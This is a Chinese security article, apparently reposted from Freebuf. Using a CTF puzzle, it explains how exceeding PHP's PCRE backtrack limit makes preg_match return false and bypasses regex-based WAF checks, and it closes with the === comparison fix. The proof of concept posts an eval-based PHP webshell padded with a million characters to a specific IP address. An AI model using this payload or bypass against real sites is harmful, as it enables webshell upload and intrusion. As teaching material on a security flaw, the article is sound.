自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

PHP利用PCRE回溯次數(shù)限制繞過(guò)某些安全限制

安全 應(yīng)用安全
這次 Code-Breaking Puzzles 中我出了一道看似很簡(jiǎn)單的題目pcrewaf,大意是判斷一下用戶輸入的內(nèi)容有沒(méi)有 PHP 代碼,如果沒(méi)有,則寫(xiě)入文件。

這次 Code-Breaking Puzzles 中我出了一道看似很簡(jiǎn)單的題目pcrewaf,將其代碼簡(jiǎn)化如下:

  1. <?php 
  2. function is_php($data){   
  3.     return preg_match('/<\?.*[(`;?>].*/is', $data);   
  4.  
  5. if(!is_php($input)) { 
  6.     // fwrite($f, $input); ... 

大意是判斷一下用戶輸入的內(nèi)容有沒(méi)有 PHP 代碼,如果沒(méi)有,則寫(xiě)入文件。這種時(shí)候,如何繞過(guò) is_php() 函數(shù)來(lái)寫(xiě)入 webshell 呢?

這道題看似簡(jiǎn)單,深究其原理,還是值得寫(xiě)一篇文章的。

一、正則表達(dá)式是什么

正則表達(dá)式是一個(gè)可以被「有限狀態(tài)自動(dòng)機(jī)」接受的語(yǔ)言類。

「有限狀態(tài)自動(dòng)機(jī)」,其擁有有限數(shù)量的狀態(tài),每個(gè)狀態(tài)可以遷移到零個(gè)或多個(gè)狀態(tài),輸入字串決定執(zhí)行哪個(gè)狀態(tài)的遷移。

而常見(jiàn)的正則引擎,又被細(xì)分為 DFA(確定性有限狀態(tài)自動(dòng)機(jī))與 NFA(非確定性有限狀態(tài)自動(dòng)機(jī))。他們匹配輸入的過(guò)程分別是:

  • DFA:從起始狀態(tài)開(kāi)始,一個(gè)字符一個(gè)字符地讀取輸入串,并根據(jù)正則來(lái)一步步確定至下一個(gè)轉(zhuǎn)移狀態(tài),直到匹配不上或走完整個(gè)輸入
  • NFA:從起始狀態(tài)開(kāi)始,一個(gè)字符一個(gè)字符地讀取輸入串,并與正則表達(dá)式進(jìn)行匹配,如果匹配不上,則進(jìn)行回溯,嘗試其他狀態(tài)

由于 NFA 的執(zhí)行過(guò)程存在回溯,所以其性能會(huì)劣于 DFA,但它支持更多功能。大多數(shù)程序語(yǔ)言都使用了 NFA 作為正則引擎,其中也包括 PHP 使用的 PCRE 庫(kù)。

二、回溯的過(guò)程是怎樣的

所以,我們題目中的正則 <\?.*[(`;?>].*,假設(shè)匹配的輸入是

見(jiàn)上圖,可見(jiàn)第 4 步的時(shí)候,因?yàn)榈谝粋€(gè) .* 可以匹配任何字符,所以最終匹配到了輸入串的結(jié)尾,也就是 //aaaaa。但此時(shí)顯然是不對(duì)的,因?yàn)檎齽t顯示.*后面還應(yīng)該有一個(gè)字符 [(`;?>]。

所以 NFA 就開(kāi)始回溯,先吐出一個(gè) a,輸入變成第 5 步顯示的 //aaaa,但仍然匹配不上正則,繼續(xù)吐出 a,變成 //aaa,仍然匹配不上……

最終直到吐出;,輸入變成第 12 步顯示的 ] ,這個(gè)結(jié)果滿足正則表達(dá)式的要求,于是不再回溯。13 步開(kāi)始向后匹配;,14 步匹配.*,第二個(gè).*匹配到了字符串末尾,最后結(jié)束匹配。

在調(diào)試正則表達(dá)式的時(shí)候,我們可以查看當(dāng)前回溯的次數(shù):

這里回溯了 8 次。

三、PHP 的 pcre.backtrack_limit 限制利用

PHP 為了防止正則表達(dá)式的拒絕服務(wù)攻擊(reDOS),給 pcre 設(shè)定了一個(gè)回溯次數(shù)上限 pcre.backtrack_limit。我們可以通過(guò) var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看當(dāng)前環(huán)境下的上限:

正則表達(dá)式

這里有個(gè)有趣的事情,就是 PHP 文檔中,中英文版本的數(shù)值是不一樣的:

正則表達(dá)式

我們應(yīng)該以英文版為參考。

可見(jiàn),回溯次數(shù)上限默認(rèn)是 100 萬(wàn)。那么,假設(shè)我們的回溯次數(shù)超過(guò)了 100 萬(wàn),會(huì)出現(xiàn)什么現(xiàn)象呢?比如:

正則表達(dá)式

可見(jiàn),preg_match 返回的非 1 和 0,而是 false。

preg_match 函數(shù)返回 false 表示此次執(zhí)行失敗了,我們可以調(diào)用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,發(fā)現(xiàn)失敗的原因的確是回溯次數(shù)超出了限制:

正則表達(dá)式

所以,這道題的答案就呼之欲出了。我們通過(guò)發(fā)送超長(zhǎng)字符串的方式,使正則執(zhí)行失敗,最后繞過(guò)目標(biāo)對(duì) PHP 語(yǔ)言的限制。

對(duì)應(yīng)的 POC 如下:

  1. import requests 
  2. from io import BytesIO 
  3.  
  4. files = { 
  5.   'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) 
  6.  
  7. res = requests.post('http://51.158.75.42:8088/index.php', filesfiles=files, allow_redirects=False
  8. print(res.headers) 

四、PCRE 另一種錯(cuò)誤的用法

延伸一下,很多基于 PHP 的 WAF,如:

  1. <?php 
  2. if(preg_match('/SELECT.+FROM.+/is', $input)) { 
  3.     die('SQL Injection'); 

均存在上述問(wèn)題,通過(guò)大量回溯可以進(jìn)行繞過(guò)。

另外,我遇到更常見(jiàn)的一種 WAF 是:

  1. <?php 
  2. if(preg_match('/UNION.+?SELECT/is', $input)) { 
  3.     die('SQL Injection'); 

這里涉及到了正則表達(dá)式的「非貪婪模式」。在 NFA 中,如果我輸入 UNION/*aaaaa*/SELECT,這個(gè)正則表達(dá)式執(zhí)行流程如下:

  • .+? 匹配到/
  • 因?yàn)榉秦澙纺J剑?+? 停止匹配,而由 S 匹配*
  • S 匹配*失敗,回溯,再由.+? 匹配*
  • 因?yàn)榉秦澙纺J剑?+? 停止匹配,而由 S 匹配 a
  • S 匹配 a 失敗,回溯,再由.+? 匹配 a

回溯次數(shù)隨著 a 的數(shù)量增加而增加。所以,我們?nèi)匀豢梢酝ㄟ^(guò)發(fā)送大量 a,來(lái)使回溯次數(shù)超出 pcre.backtrack_limit 限制,進(jìn)而繞過(guò) WAF:

五、修復(fù)方法

那么,如何修復(fù)這個(gè)問(wèn)題呢?

其實(shí)如果我們仔細(xì)觀察 PHP 文檔,是可以看到 preg_match 函數(shù)下面的警告的:

如果用 preg_match 對(duì)字符串進(jìn)行匹配,一定要使用===全等號(hào)來(lái)判斷返回值,如:

  1. <?php 
  2. function is_php($data){   
  3.     return preg_match('/<\?.*[(`;?>].*/is', $data);   
  4.  
  5. if(is_php($input) === 0) { 
  6.     // fwrite($f, $input); ... 

這樣,即使正則執(zhí)行失敗返回 false,也不會(huì)進(jìn)入 if 語(yǔ)句。

責(zé)任編輯:趙寧寧 來(lái)源: Freebuf
相關(guān)推薦

2019-02-12 15:39:52

2011-03-24 08:56:23

escalationsNagios報(bào)警

2011-03-25 14:56:43

Nagiosescalations

2011-03-21 15:44:52

escalationsNagios

2019-02-13 13:38:08

網(wǎng)絡(luò)安全網(wǎng)絡(luò)安全技術(shù)周刊

2015-01-05 09:59:42

2025-03-19 09:14:15

CursorTun模式LLM

2009-02-18 22:19:24

AD用戶登陸實(shí)現(xiàn)限制

2009-12-07 09:13:05

取消PHP上傳限制

2019-01-17 14:02:53

2010-04-22 16:02:36

2021-09-29 16:10:43

Windows 11MCT安裝腳本

2023-10-12 14:21:52

ChatGPTGPT-4

2011-07-20 15:09:43

組策略分區(qū)

2011-10-08 13:29:28

QoSDSCP廣域網(wǎng)

2024-01-06 10:26:04

2025-03-05 07:58:30

2018-11-13 12:56:57

2021-09-29 09:34:56

Windows 11操作系統(tǒng)微軟
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)